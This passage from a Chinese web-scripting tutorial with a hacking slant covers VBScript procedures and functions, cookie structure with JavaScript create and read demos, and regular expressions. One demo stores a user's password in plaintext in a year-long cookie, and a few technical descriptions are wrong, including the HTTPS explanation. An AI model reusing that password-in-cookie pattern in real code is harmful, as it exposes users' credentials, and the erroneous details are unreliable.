          因为一开始设定的值为3所以执行后的结果是北京人,如图4-35所示。

          image

          图4-35

      3. VBScript的过程和函数

        过程和函数是提高编码效率,有效的减少代码复杂以便于维护的重要手段。对于一些常用的功能可以利用过程和函数来模块化。过程和函数的区别在于过程是没有返回值的,而函数有返回值。在前面的时候,也有用到过程和函数的,下面对其进行详细的讲解。

        VBScript的过程

        Sub过程是包含在Sub和End Sub语句之间的一组VBScript语句,执行操作但不返回值。

        Sub过程可以使用参数(由调用过程传递的常数、变量或表达式)。如果Sub过程没有任何参数,则Sub语句必须包含空括号()。过程的定义格式如下:

        Sub 过程名(参数)

        '代码'

        End Sub

        调用过程的语法是:call 过程名(参数)

        解释过程最好的方法就是通过示例来说名,下面将示例4-22中的判断语句用一个过程来实现。代码如下:

        <html>

        <head>

        <title>过程演示</title>

        </HEAD>

        <body>

        <Script Language=VBScript>

        <!--

        Call FindPeople(2)

        sub FindPeople(whereNum) select case WhereNum

        case 1

        m sgbox "你是江西人" case 2

        m sgbox "你是湖南人" case 3

        m sgbox "你是北京人" case else

        m sgbox "你是上海人" end select

        end sub

        -->

        </Script >

        </body>

        </html>

        image

        image

        代码执行结果如图4-36所示。

        图4-36

        上述代码中,我们使用了标记对即Sub和End Sub将判断语句都包含在里面,而该过程有一个名称即为FindPeople,FindPeople括号中的变量为参数,whereNum参数可以被过程中的代码使用。因为过程不会自动运行,因此必须有外面的语句调用,在过程的前面使用了调用语句Call FindPeople(2),其中2就是传递过来的参数,然后过程FindPeople根据参数2计算得到当前来自湖南的,并弹出对话框。

        VBScript的函数

        VBScript的函数和过程基本类似,唯一的区别就是函数是有返回值的。同时在函数的定义上,使用关键字是"Function",因此函数包含在Function和end Function之间的一段代码。函数的定义格式如下:

        Function 函数名(参数) [ As 类型]

        '代码'

        E nd Function

        由于函数过程可以返回值,因此函数过程也就有了数据类型,其通过语法中的As子句确定。

        在函数过程内,可以通过以下语句格式将结果返回:函数名= 表达式例如:

        Function MyFunc(X As Integer) MyFunc=X*X+10

        End Function

        还可以调用函数过程,其基本语法为:变量=函数名(参数)。例如:

        Dim MyReturn

        MyReturn= FunName(参数)

        前面介绍了一个计算1到100这100个数值之和的例子,下面将通过一个函数来实现这个过程。给定一个正整数,通过函数SumTotal可以计算出从1到该整数之间所有数值的和。 代码如下:

        <html>

        <head>

        <title>函数演示</title>

        </HEAD>

        <body>

        <Script Language=VBScript>

        <!--

        dim myNum myNum=100

        function SumTotal(number) / /定义一个函数 Dim j

        For j = 1 To number

        Su mTotal= SumTotal+ j Next

        end function

        MsgBox "从1到" & myNum & "的总和为" & SumTotal(myNum) //调用函数

        -->

        </Script >

        </body>

        </html>

        image

        image

        代码执行后的结果如图4-37所示。

        图4-37

      4. VBScript中常用的函数

        在VBScript中有许多内部函数,通过使用这些函数,可以很快地完成应用。下面我给大家讲解一些比较常用而且与安全联系比较紧密的函数。

        (1)、Trim(string)

        这个函数的作用是除去字符串string两端的空格,这个函数经常在过滤空格上运用的最多,是取得参数后所必须进行的一个操作。与之类似的函数还有Ltrim(string),作用为除去字符串左边的空格;还有Rtrim(string),作用是字符串右边的空格。

        (2)、Ucase(string)

        这个函数的作用是把字符串string中的字符换成大写。与之相反的函数是Lcase(string),作用当然是把字符串string中的字符换成小写。

        (3)、Abs(num)

        这个函数的作用是返回num的绝对值。

        (4)、Now()

        这个函数是返回系统的日期和时间。与之相类似的函数有Date(),返回系统当前日期;

        Time(),返回系统当前的时间。

        (5)、IsNumber(var)

        这个函数是如果var是个数字,则返回ture,否则返回false。与之相对应的函数有

        IsArry(var)、IsDate(var)、IsEmpty(var)等等。

        (6)、InputBox函数

        是一个输入框函数,在对话框中显示提示,等待用户输入文本或单击按钮,并返回文本框内容。语法为 InputBox(prompt[,title][,default][,xpos][,ypos][,helpfile,context])。其参数说明如下:

        Prompt:作为消息显示在对话框中。prompt 的最大长度大约是 10 24 个字符,这取决于所

        使用的字符的宽度。如果 prom pt 中包含多个行,则可在各行之间用回车符

        (Chr(13))、换行符 (Chr(10)) 或回车换行符的组合 (Chr(13) & Chr(10)) 以分隔各行。

        Title:显示在对话框标题栏中的字符串表达式。如果省略 ti tle,则应用程序的名称将显示在标题栏中。

        Default:显示在文本框中的字符串表达式,在没有其它输入时作为默认的响应值。如果省略

        default,则文本框为空。

        Xpos:数值表达式,用于指定对话框的左边缘与屏幕左边缘的水平距离(单位为缇)。如果省略 x pos,则对话框会在水平方向居中。

        Ypos:数值表达式,用于指定对话框的上边缘与屏幕上边缘的垂直距离(单位为缇)。如果省略 y pos,则对话框显示在屏幕垂直方向距下边缘大约三分之一处。

        Helpfile:字符串表达式,用于标识为对话框提供上下文相关帮助的帮助文件。如果已提供

        helpfile,则必须提供 conte xt。 Context:数值表达式,用于标识由帮助文件的作者指定给某个帮助主题的上下文编号。如果

        已提供 cont ext,则必须提供 he lpfile。

        如果同时提供了 he lpfile 和 co ntext,就会在对话框中自动添加“帮助”按钮。如果用户单击确定或按下 ENTER ,则 In putBox 函数返回文本框中的内容。如果用户单击取消,则函数返回一个零长度字符串 ("") 。下面例子利用 InputBox 函数显示一输入框并且把字符串赋值给输入变量:

        <html>

        <head>

        <title>函数演示</title>

        </HEAD>

        <body>

        <Script Language=VBScript> Dim Input

        Input = InputBox("输入名字","输入框","曾云好") MsgBox ("输入:" & Input)

        </Script >

        </body>

        </html>

        image

        image

        代码运行后,其结果如图 4-38 和 4-39 所示。

        图 4-38

        image

        图 4-39

        (7)、MsgBox 函数

        这是一个消息框函数,在对话框中显示消息,等待用户单击按钮,并返回一个值指示用户单击的按钮。语法为MsgBox(prompt[, buttons][, title][, helpfile, context])。

        其参数说明如下:

        Prompt:作为消息显示在对话框中的字符串表达式。prompt 的最大长度大约是 10 24 个字符,这取决于所使用的字符的宽度。如果 prom pt 中包含多个行,则可在各行之间用回车符 (Chr(13)) 、换行符 (Chr(10)) 或回车换行符的组合 (Chr(13) & Chr(10))分隔各行。

        Buttons:是表示指定显示按钮的数目和类型、使用的图标样式,默认按钮的标识以及消息框样式的数值的总和。有关数值,请参阅“设置”部分。如果省略,则 buttons 的默认值为 0。

        buttons 参数可以有以下值,如表 4-8 所示:

        常 数 值 描 述

        vbOKOnly 0 只 显 示 确 定 按 钮 。

        vbOKCancel 1 显示确定和取消按钮。

        vbAbortRetryIgnore 2

        vbYesNoCancel 3

        显示放弃、重试和忽略按钮。显示是、否和取消按钮。

        vbYesNo 4 显 示 是 和 否 按 钮 。

        vbRetryCancel 5 显示重试和取消按钮。

        vbCritical 16 显示临界信息图标。

        vbQuestion 32 显示警告查询图标。

        vbExclamation 48 显示警告消息图标。

        vbInformation 64 显示信息消息图标。

        vbDefaultButton1 0

        第一个按钮为默认按钮。

        vbDefaultButton2 256 第一个按钮为默认按钮。

        vbDefaultButton3 512 第一个按钮为默认按钮。

        vbDefaultButton4 768 第一个按钮为默认按钮。

        vbApplicationModal 0 应用程序模式:用户必须响应消息框才能继续在当前应用程

        序中工作。

        vbSystemModal 4096 系统模式:在用户响应消息框前,所有应用程序都被挂起。

        表 4-8

        第一组值 (0 - 5) 用于描述对话框中显示的按钮类型与数目;第二组值 (16, 32, 48,

        6 用于描述图标的样式;第三组值 (0, 256, 512) 用于确定默认按钮;而第四组值(0,4096) 则决定消息框的样式。在将这些数字相加以生成 buttons 参数值时,只能从每组值中取用一个数字。

        Title:显示在对话框标题栏中的字符串表达式。如果省略 title,则将应用程序的名称显示标题栏中。

        Helpfile:字符串表达式,用于标识为对话框提供上下文相关帮助的帮助文件。如果已提供 helpfile,则必须提供 context。在 16 位系统平台上不可用。

        Context:数值表达式,用于标识由帮助文件的作者指定给某个帮助主题的上下文编号。如果已提供 conte xt,则必须提供 he lpfile。在 16 位系统平台上不可用。

        MsgBox 函数有以下返回值,如表 4-9 所示:

        常 数 值 按 钮

        vbOK 1 确 定

        vbCancel 2 取 消

        vbAbort 3 放 弃

        vbRetry 4 重 试

        vbIgnore 5 忽 略

        vbYes 6 是

        vbNo 7

        表 4-9

        下面的例子演示了 MsgBox 函数的用法:

        <html>

        <head>

        <title>函数演示</title>

        </HEAD>

        <body>

        <Script Language=VBScript>

        Dim MyVar

        MyVar = MsgBox ("Hello World!", 65, "MsgBox Example")

        </Script >

        </body>

        </html>

        image

        image

        代码运行之后的结果如图 4-40 所示。

        图 4-40

        (8)、Eval函数

        它的作用是计算一个表达式的值并返回结果。表达式为[result

        = ]eval(expression)。其中,result为可选项,是一个变量,用于接受返回的结果。如果未指定结果,应考虑使用 Ex ecute 语句代替;expression为必选项,可以是包含任何有效 VBScript 表达式的字符串。在 VBScrip t 中,x = y 可以有两种解释。第一种方式是赋值语句,将 y 的值赋予 x。第二种解释是测试 x 和 y 是否相等。如果相等,result 为 Tr ue;否则 result 为 False 。Eval方法总是采用第二种解释,而 Execute 语句总是采用第一种。下面的例子说明了 Eval 函数的用法:

        Sub GuessANumber

        Dim Guess, RndNum

        RndNum = Int((100) * Rnd(1) + 1)

        //Int 函数是返回数字的整数部分,Rnd 函数返回一个随机数 Guess = CInt(InputBox("Enter your guess:",,0))

        //Cint 函数返回表达式,此表达式已被转换为 Integer 子类型

        Do

        IfEval("Guess = RndNum") Then MsgBox "祝贺你!猜对了!" Exit Sub

        Else

        Guess = CInt(InputBox("对不起,请再试一次",,0)) End If

        Loop Until Guess = 0 End Sub

        (9)、Replace 函数

        该函数返回字符串,其中指定数目的某子字符串被替换为另一个子字符串。语法为 Replace(expression, find, replacewith[, compare[, count[, start]]])其中参数为:

        Expression:必选项。字符串表达式包含要替代的子字符串。

        Find:必选项。被搜索的子字符串。Replacewith:必选项。用于替换的子字符串。

        Start:可选项。expression 中开始搜索子字符串的位置。如果省略,默认值为 1。在和count 关联时必须用Count:可选项。执行子字符串替换的数目。如果省略,默认值为 -1 ,表示进行所有可能的替换。在和 start 关联时必须用。

        Compare:可选项。指示在计算子字符串时使用的比较类型的数值。有关数值,请参阅“设置”

        部分。如果省略,缺省值为 0 ,这意味着必须进行二进制比较。下面的示例利用R eplace 函数返回字符串:

        Dim MyString

        MyString = Replace("XXpXXPXXp", "p", "Y") '二进制比较从字符串左端开始。返回

        "XXYXXPXXY"。

        MyString = Replace("XXpXXPXXp", "p", "Y", '文本比较从第三个字符开始。返回 "YXXYXXY"。3,, -1, 1)

    2. 使用Cookie

      1. 什么是Cookie

        我们知道使用普通的可执行程序的时候,能够读、写、修改程序并运行计算机上的多种文件。这些可执行程序几乎能够以所有方式操作硬盘上任意位置的文件(当然在要求权限的操作系统中运行这些程序时需要合适的用户权限)。这种操作方式通常并不会出现什么问题,这是因为这些程序是由著名公司或用户开发的,它们都会以信誉保证这种访问方式不会出现不可预计的问题。但是在 Web 环境中上面说的这种保证就不复存在了。因为能够访问网络、会使用文本编辑器的任何人都可能编写出具有破坏性的危险程序来。比如我们在浏览网站的时候经常被挂马,从而中了马。

        正是由于上述原因,在 Web 页面中使用的绝大多数编程语言都不允许编程者使用储存在客户端计算机上的文件。各种浏览器也都提供了一组规则,阻止发生上述情况。

        接触过协议的朋友应该都知道,我们的浏览器是使用 HTTP 协议访问 Web 页面。HTTP是一种无状态协议,也就是说,在浏览器和服务器之间完成一次会话后,就丢弃了这个连接。浏览器和服务器都不会保存这次会话之间的状态。但是随着互联网的发展,如今我们可以使用购物车购买各种物品、订购各种东西,我想很多朋友都有在网上购买东西的经历吧,国内较出名的有易趣等等。而对于像易趣这样的商家,记住客人的购买习惯、爱好、注册号、用户名就成为一种非常迫切的需要。

        1994 年,Netscape 公司引入了cookie 的概念。Cookie 是保存在客户端计算机,也就是运行在浏览器的计算机中的一个短小文本文件,它用于 Web 站点在用户的计算机上保存信息并且以后再取回它,这些信息通常采用“名-值”对儿的方式存储。

        Cookie 通常用来记录对一个 Web 站点的访问。比如,我们在易趣购买商品,为了方便网上采购,cookie 就可能保存所选择的商品,以及你的姓名、电子邮件地址等个人识别信息。为了帮助 Web 站点跟踪每一个来访人员,cookie 通常包含一个唯一的标识。当然为你创建 cookie 的 Web 站点有责任告诉你 cookie 中存储了什么信息,以及这些信息如何被站点所使用。

        我们可以在自己电脑的硬盘上找到存储的 cookie 文件,对于使用 windows 操作系统使用 IE 浏览器的朋友通常可以在 C:\Documents and Settings\用户名\Cookies 目录中找到。

        如果不是这个目录可以利用 windows 自带的搜索功能搜索关键字 cookies 也可找到。在这个文件夹里的每个 cookie 文件都是一个简单而又普通的文本文件。我们可以通过文件名,可以看到是哪个 Web 站点在你的计算机中放置了 cookie 文件。

        我访问自己电脑的 C:\Documents and Settings\Administrator\Cookies 目录中的

        cookie 文 件,以百度搜索引擎的 cookie 文件来 做说明,其文件名为

        administrator@baidu[1].txt,内容如下所示: BAIDUID

        9D9DE43F143ABD236DB39C258D84A211

        baidu.com/ 1536

        3368053120

        32039905

        1482168528

        29835532

        *

        利用 cookie,可以使 Web 网页更加人性化,更加友好,它能够存储用户使用的语言、阅读习惯、网站访问次数、跟踪购物车中的物品等等。但是 cookie 带来了一写安全的问题,在后面我会专门用一节来讲解这个,现在大家先跟着我打好基础,这样在后面会起到事半功倍的效果哦!Cookie 是 Web 世界中的一部分,但不是一定需要。我们可以根据自己的需要控制是否使用 cookie。如果不喜欢 cookie,那么可以关闭浏览器的 cookie 功能,并删除浏览器中的所有 cookie。例如,如果使用 IE 浏览器,那么可以通过选择菜单上的“工具”,再选择“Internet 选项”,在“常规”选项卡中通过单击“删除 cookies”按钮删除所有的 cookie,如图 4-41 所示;还可以通过单击“隐私”选项卡,调整隐私设置滑块,控制允许使用什么样的 cookie 或者阻止使用所有的 cookie,如图 4-42 所示。

        image

        图 4-41

        image

        图 4-42

        Web 浏览器中的 cookie 只占据少量的存储空间,一般来说,浏览器中最多存储 300 个

        cookie。每个 cookie 占据的存储空间不超过 4K 字节,因此存储不了多少信息。Cookie 文件的实际文件名和存储位置与操作系统和浏览器有关。Windows 下的 Netscape Navigator将 cookie 保持在 Navigator 系统目录下的 cookies.txt 文件中,IE 将 cookie 存储在 C:\Documents and Settings\用户名\Cookies 目录中,cookie 的文件名则与用户名、网站名有关,但都是文本文件。

        下面通过举例说明 cookie 数据的流动过程,即 cookie 的创建、改变等等。假设目前正在访问 http://www.google.com 网站。 (1)、在浏览器的地址栏内输入网址 http://www.google.com,浏览器从本地计算机上寻找

        google 网站设置的 cookie 文件。如果找到了 google 的 cookie 文件,浏览器会把文件文件中的所有“名-值”对同先前的 URL 一同发给 google 服务器。如果没有找到,就不发送 cookie 数据,而只发送 URL。

        (2)、google 服务器接受 cookie 数据和对网页的请求。如果存在“名-值”对,google 将使用它。

        (3)、如果服务器没有收到“名-值”对,google知道在此之前没有访问过它的站点,服务器会为你创建一个新的ID并放进google的数据库中,然后把“名-值”对放在要传回网页的头信息里,并传递给你。这样你的浏览器将在硬盘上的cookie文件中保存“名-值”对。

        (4)、以后每当你再次访问网站时,网站服务器就会改变“名-值”对或增加新的“名-值”对。除此之外,服务器回随着“名-值”对发送一些其他的信息, 主要包括生存期和路径,这样网站借此把不同的cookie值与不同的网站部位关联起来。

      2. Cookie的组成

        1. Cookie的语法格式

          一般情况下,cookie通常由服务器端的程序通过HTTP请求和响应头发送给 浏览器,但是,利用javascript,可以在本地浏览器中设置cookie,这样做的好处是免除了服务器端程序处理cookie的工作,从而降低服务器的负担。Cookie 在默认的情况下其生命期是当前会话范围,当前会话结束后,相应的cookie也就被删除了。

          Cookie是由“名-值”对儿组成的文本。一个cookie字符串中最多能够存储20个“名-值”对儿。对于每一个HTML文档来说,浏览器只存储一个cookie。在构造cookie时,制定的“名-值”对儿的name=value称为属性。它必须使用 号作为结束符。在组成cookie的字符串中,不允许使用分号、逗号以及空白符 HTTP Set-Cookie头的格式为:

          Set-Cookie:name=value;[expires=date];[path=pathname];[domain=domainna me];[secure];

          其中,方括号表示该属性可以省略,name=value属性可以包含多个。例如: Set-Cookie:id= "曾云好";expires=Wed,28-Fer-07 15:13:00 GMT;domain= "google.com";path= "/";secure;

        2. Cookie属性详解

          在设置cookie之前,首先要理解cookie各组成部分的意义和功能。下面我给大家简单介绍各属性的意义、功能及示例。

          (1)、name=value

          这个属性是指定cookie数据项的名称。一般比较常见的名称包括会话标识用户名称等,可以指定喜欢的任何标识符作为该名称。该属性的语法格式 nameofcookie=value;

          其中,nameofcookie是cookie的数据项的名称,value是该名称对应的值,

          是一个字符串,它可以是由一系列字符组成,但不能含有分号(;)、逗号(,)和空白符。如果在nameofcookie或value中包含这些字符,那么需要使用URL风格的%XX格式进行编码。名称属性是Set-Cookie头要求的必选属性。下面是名称属性的几个应用示例:

          id=123456789

          email=zengyunhao0@tom.com name=demon

          (2)、expires=date

          这是一个可选属性,它指定cookie的过期日期。一般情况下,给date一个接近会话时间的日期时间值,这样,在浏览器结束当前会话时,cookie就会过期,从而删除cookie。但是可以通过给expires属性指定一个较长的时间值,从而长久地保留该cookie。其格式为: expires=weekday,DD-MON-YY HH:MM:SS GMT

          其中,weekday为星期几,比如Monday、Tuesday、Wednesday等,也可以用缩写的星期几,比如Mon、Tues、Wed等;DD-MON-YY指定日期,分别为日、月、年;HH:MM:SS指定时间,

          分别为时、分、秒;GMT表示该时间为格林威治标准时间,这里的日期时间总是使用GMT。开发人员通过指定expires属性控制cookie的过期日期,一旦cookie已经过期,就会被自动删除。

          下面是expires属性的几个示例: expires=Friday,14-Jan-07 15:50:00 GMT expires=Mon, 14-Jan-07 15:50:00 GMT

          (3)、path=pathname

          这是一个可选属性,指定cookie可用于特定的服务器中的什么位置。在cookie中指定路径可以同一个域中的多个页面共享cookie。例如:

          path=\home path=\aa\bb\int

          (4)、domain=domainname

          这是一个可选属性,它指定是否所作用的域名后,可以在同一个域的多个服务器之间共享cookie,而无需为每一个服务器都指定cookie。Domainname为域名,可以使用完整的URL格式http://domain,也可以使用省略http://的简写方式。例如: domain=www.google.com

          domain=http://www.google.com

          (5)、secure

          这是一个可选属性,它指定是否通过安全通道传递cookie。如果设定了该属性,那么

          cookie必须使用HTTPS协议进行传递。其语法格式为:secure

          注意:HTTPS协议是由Netscape开发并内置于其浏览器中,用于对数据进行压缩和解压的 操作,并返回网络上传送回的结果。HTTPS实际上应用了Netscape的安全套接字层(SSL)作为HTTP应用层的子层。HTTPS使用端口443,而不是象HTTP那样使用端口80来和

          TCP/IP进行通信。SSL使用40 位关键字作为RC4流加密算法,这对于商业信息的加密是 合适的。HTTPS和SSL支持使用X.509数字认证,如果需要的话用户可以确认发送者是谁。

      3. 使用Cookie

        下面通过一些实例,说明如何用javascript来创建、查看、删除Cookie。不过需要注意的是,在设置Cookie时,它们首先保存在浏览器的内存中,退出浏览器时,才被写入到硬盘中。

        1. Cookie对象

          我们在处理Cookie时,JavaScript将它保存为document对象的一个属性,其属性名称是cookie。利用这个属性,可以创建和读取Cookie数据。在启动浏览器并打开某个页面后,如果存在相应的Cookie,那么它被装入到document对象的cookie属性中。Document.cookie属性采用name=value对方式保存各个cookie数据项值。在document.cookie属性中不能够看到其他cookie属性的设定值,包括过期日期、路径、安全性等。在程序中可以使用 alert(document.cookie)来调用当前页面的Cookie数据项值。

          2.创建Cookie

          在JavaScript中创建Cookie的方法很简单:只要为document.cookie属性指定

          name=value对即可。不过需要注意的是,在为document.cookie属性赋值时,把一个字符串赋值给它,所以使用引号时需要特别注意,不要弄错了,赋值字符串的格式为: name=value;[expires=date];[path=path];[domain=somewhere.com];[secure]

          例如: document.cookie="id="+form1.cookie.value+";expires="+expiration_date+";path=/";

          再次值得注意的是,在设置name=value属性时,name和value中不能包含分号、逗号以及空白符。如果需要在这些元素中包含这些字符或者汉字,那么必须对他们进行编码。

          JavaScript的escape()函数提供了编码字符串的功能,它将字符串中所有非字母字符转换为用字母数字表示的等价字符串。万花谷病毒就用到了escape()函数进行字符处理,把某些字符、汉字等变成乱码以达到迷惑人的目的。这种编码方式应用的非常广泛,比如当使用 google搜索“黑客”时,浏览器向服务器发送字符串q=%E9%BB%91%E5%AE%A2,其中

          %E9%BB%91%E5%AE%A2就是汉字“黑客”经过编码后的字符串。这种编码称为URI编码。使用

          unescape()函数能够把URI编码的字符串转换为正常的字符串,万花谷病毒也是利用 unescape()函数将程序解码后在本地机器上运行。

          不过目前在javascript1.5标准中,提供了函数encodeURI()和decodeURI()来取代

          escape()和unescape()。这四个函数的功能、语法如表4-10所示。

          函 数 ( 语 法 格 式 ) 功 能 说 明

          escape(s) 返回字符串S编码后的结果,编码时,将非字母函数以及空白字符使用十六进制转义序列来表示。该函数已经被encodeURI(uri)取代

          unescape() 解码escape(s)函数编码的字符串,返回字符串原来的值。该函数已经被decodeURI(uri)取代

          encodeURI(uri) 返回字符串uri编码的结果,将非字母函数以及空白字符使用十六进制转义序列来表示。但不编码字符#、?和@,这些字符用于分隔URL中各组成部分。

          decodeURI(uri) 解码由encodeURI(uri)函数编码的字符,返回字符串原来的值。

          表4-10

          对于玩过网络上的一些黑客游戏的朋友就应该知道,在里面的过关中至少有一关利用到了加密技术,对网页中的部分代码进行了加密,其实利用这四个函数实现就可以轻松实现对代码的加解密。下面通过示例4-23来演示encodeURI()和decodeURI()的编码(加解密)功能。代码如下:

          <html><head><title>encodeURI()和decodeURI()的编码(加解密)功能</title>

          </head><center><h2>URL编码和解码 </h2>

          <script language="JavaScript">

          <!--

          function urlEncoding(form){

          var myString = form.input.value; alert(encodeURI(myString)); //实现编码效果

          }

          function urlDecoding(form){

          var myString = form.input.value; alert(decodeURI(myString)); //实现解码效果

          }

          // -->

          </script>

          <body bgcoloR="lightgrey" >

          <form name="form1">

          请键入要编码或解码的字符串:<p>

          <input type="text" name="input" size=40><p>

          <input type="button"

          value="查看编码结果" onClick="urlEncoding(this.form);"> <p>

          <input type="button"

          value="查看解码结果" onClick="urlDecoding(this.form);"><p>

          </form>

          </center>

          </body>

          </html>

          代码运行了之后,首先演示编码的效果,输入关键字“精通脚本黑客”后,单击按钮 “查看编码结果”后就出现了如图4-43所示的效果,其编码后的字符是

          %E7%B2%BE%E9%80%9A%E8%84%9A%E6%9C%AC%E9%BB%91%E5%AE%A2。然后再把

          %E7%B2%BE%E9%80%9A%E8%84%9A%E6%9C%AC%E9%BB%91%E5%AE%A2放入输入框中,但击按钮“查

          看解码结果”就出现了如图4-44所示的效果。

          image

          图4-43

          image

          图4-44

          有了对编码的了解,同时在上面也已经讲解了cookie的组成,现在我们来演示如何创建一个cookie。在示例4-24中,在cookie中创建两个cookie数据项,一个名称为name,用于保存用户名;另一个名称为passwd,用于保存用户密码,并将他们的过期日期设置为1年加1天。在document.cookie属性中会看到这两个name=value数据对。示例4-24的代码如下:

          <html><head><title>创建Cookie演示 </title>

          <script language="JavaScript">

          <!--

          function makeCookie(form){ var when = new Date();

          when.setTime(when.getTime() + 24 * 60 * 60 * 1000);

          //getTime()函数是取得服务器的当前时间,24 * 60 * 60 * 1000是取得一天的//毫秒数,这里是功能是时间增加24小时

          when.setFullYear(when.getFullYear() + 1);

          //getFullYear()返回本地时间的年份值,加1表示年度增加一年 yname=form.yourname.value; //取得输入的用户名 ypasswd=form.passwd.value; //取得输入的密码

          //开始创建cookie document.cookie=encodeURI("name")+"="+encodeURI(yname)

          +";expires="+when.toGMTString(); document.cookie=encodeURI("passwd")+"="+encodeURI(ypasswd)

          +";expires="+when.toGMTString();

          //显示cookie alert(document.cookie);

          }

          function welcome(myForm){

          you=myForm.yourname.value;

          var position=document.cookie.indexOf("name=");

          //indexof()方法是返回"name="第一次出现子字符串的字符位置 if ( position != -1){

          var begin = position + 5;

          var end=document.cookie.indexOf(";", begin); if(end == -1){ end=document.cookie.length;}

          you= decodeURI(document.cookie.substring(begin, end));

          //substring()方法是返回位于begin和end指定的字符串 str=you; alert("欢迎你! " + you);

          }

          else{ alert("嘿嘿,还没有Cookie");}

          }

          // -->

          </script>

          </head>

          <body bgcoloR="lightgrey" onLoad="document.form1.reset()" >

          <center>

          <h2> 用户登录 </h2>

          <form name="form1">用户名:

          <input type="text" name="yourname" >

          <p>

          密 码:

          <input type="text" name="passwd" >

          <p>

          <input type="button" value="创建Cookie" onClick="makeCookie(this.form);">

          <p>

          <input type="button"

          value="查看Cookie" onClick="welcome(this.form);">

          <p>

          </form>

          </body>

          </html>

          代码运行之后,在用户名中输入“曾云好”,在密码中输入“123456”,单击“创建cookie”按钮,程序创建cookie,并显示如图4-45所示的对话框;单击“查看cookie”按钮,显示如图4-46所示的欢迎对话框。

          image

          图4-45

          image

          图4-46

          3.读取Cookie

          我们记录cookie的目的就是为了使用cookie,了解用户访问网站或网页的情况。在读去cookie的时候,只能够读取网页所在服务器生成的cookie,而不能读取其他服务器生成的

          cookie。也就是说,www.baidu.com不能够读取www.google.com上页面生成的cookie。cookie的访问控制由浏览器决定,它知道所访问页面的URL。

          在下面的示例4-25中,我读取示例4-24所生成的cookie,并显示在一个单独网页中。代码如下:

          <html><head><title>读取Cookie</title>

          <script language="JavaScript">

          <!--

          function seeCookie(){ if(document.cookie == ""){

          document.write("没有定义Cookie!");

          }

          else{

          var myCookie = document.cookie.split("; "); document.write("<body> <font face=宋体>"); document.write("<br><b>解码前的结果为:<br>"); for(var i=0;i<myCookie.length; i++){

          document.write("<b>Cookie: " + myCookie[i] + "<br>");

          }

          document.write("<br><br><b>解码后的结果为:<br>"); for(var i=0;i<myCookie.length; i++){

          document.write("<b>Cookie: " + decodeURI(myCookie[i]) + "<br>");

          }

          }

          }

          // -->

          </script>

          </head>

          <body bgcoloR="lightgrey" onLoad="document.myForm.reset()" >

          <center>

          <h2> 读取Cookie</h2>

          <form name="myForm">

          请单击下面的按钮,了解当前Cookie的值。

          <p>

          <input type="button" value="读取Cookie" onClick="seeCookie();">

          <p>

          </form>

          </center>

          </body>

          </html>

          该代码执行后,显示如图4-47所示的页面,单击“读取cookie”按钮后,现实示例4-24所定义的cookie值解码前和解码后的结果,如图4-48所示。

          image

          图4-47

          image

          图4-48

          通过对上面的学习,我想大家也已经对cookie的基本知识已经有比较全面的了解了,在第二章中,我给大家演示了cookie欺骗攻击,利用cookie欺骗就可以比如没有密码登陆后台等等攻击,cookie只所以存在欺骗一是cookie文件保存在本地计算机上,造成了用户可以修改其内容,所以这样做就已经存在安全隐患了;二是程序员在写程序的时候对情况考虑不周全,从而导致前面存在的安全隐患变成了安全问题了。在第二章中我已经给大家讲解了如何利用cookie欺骗漏洞进行攻击了,至于如何发现系统存在cookie漏洞以及怎么防御此类漏洞将在后面的章节中通过具体的程序来做说明,这里大家只要打好坚实的基础就可以了。

    3. 正则表达式

      1. 什么是正则表达式

        正则表达式在英文中称为Regular Expression,简称为RegExp。正则表达式最早是由数学家Stephen Kleene于1956年提出来的,这是他在对自然语言的递增研究成果的基础上提出来的。正则表达式并非一门专用的语言,这一点大家要明白。但是它可以用于在一个文件或字符里查找或替换文本。它具有两种标准:基本的正则表达式(BRE)和扩展的正则表达式 (ERE),其中ERE包括BRE的功能和其他概念。

        简单的说,正则表达式是一种用于模式匹配和替换的强有力工具。正则表达式可以通过使用一系列的特殊字符构建匹配模式,然后把匹配模式与数据件、程序输入以及Web页面的表单输入等目标对象进行比较,根据比较对象中是否包含匹配模式,执行相应的程序,我们大名鼎鼎的防注入系统都是利用这个原理来编写的,在后面我会专门来讲解防注入系统。

        正则表达式最普通的应用可能就要算是用于验证用户在线输入的邮件地址的格式是否正确。如果通过正则表达式验证用户电子邮件地址的格式正确,用户所填写的表单信息将被正常处理,反之,如果用户输入的电子邮件地址与正则表达式的模式不匹配,将会弹出提示信息,要求用户重新输入正确的邮件地址。

        正则表达式就是由普通字符(例如字母a到z)以及特殊字符(称为元字符)组成的文字模式,这些模式就是描述在查找文字主体时待匹配的一个或多个字符串。正则表达式作为一个模板,将某个字符模式与所搜索的字符串进行匹配。正则表达式使用斜杠进行分隔,例如,

        /abc/就定义了一个简单的正则表达式。正则表达式的用途主要有以下三点:

        (1)、测试字符串是否符合某个模式。例如,可以对一个输入字符串进行测试,看这个字符串是否符合电话号码的模式要求或信用卡号码的模式,这种需求称为数据有效性验证。

        (2)、替换文本。可以在文档中使用正则表达式来标识特定的文字,然后将其删除或替换成别的文字,防注入系统就是利用的这个功能实现的。

        (3)、根据匹配模式从字符串中提取一个子字符串。可以用来在文本或输入字段中查找特定的文字,我们的记事本就有这个功能拉。

      2. 创建正则表达式

        正则表达式就是一个字符模式。在javascript中,正则表达式类似,是javascript的一个对象,它主要用于字符串的模式匹配。创建正则表达式有两种方法:文字量方法和使用构造函数RegExp()。下面我就给大家说说这两种方法。

        1. 使用文字量方法创建正则表达式

          使用文字量创建正则表达式的方法为:将文字量的正则表达式赋值给一个变量。正则表达式包含在两个斜杠之间的一个或多个字符,在后一个斜杠后面,可以指定一个或多个选项。例如,/abc/、/ab+c/、/abc/1、/abc/gi都是正则表达式。使用文字量方法创建正则表达式的一般格式为:

          Var varname = /pattern/flags

          其中,varname是变量名称,这个变量用于保存新创建的正则表达式;pattern为指定匹配模式的正则表达式;flags是零个或多个选项,有效选项及其意义为:

          • i——忽略大小写,即进行字符串匹配时,不区分大小写。

          • g——全局匹配,即匹配字符串中出现的所有模式。

          • m——进行多行匹配。

            下面是一些正则表达式的示例: Var hacker = /脚本黑客/;

            Var reobj = /love me/ig;

            /^JavaScript/

            /19[0-9][0-9]*/

        2. 使用构造函数RegExp()创建正则表达式

          正则表达式的构造函数是RegExp(),我们可以利用这个构造函数创建正则表达式。

          RegExp()可以使用一个或两个参数:第一个参数指定正则表达式,这是正则表达式的字符串表示方法,例如,"脚本黑客"代表文字量的正则表达式/脚本黑客/;第二个参数是可选参数,它指定正则表达式的选项。其标记字符与文字量正则表达式使用的标记字符相同,也是i、g或m,并且意义也相同。

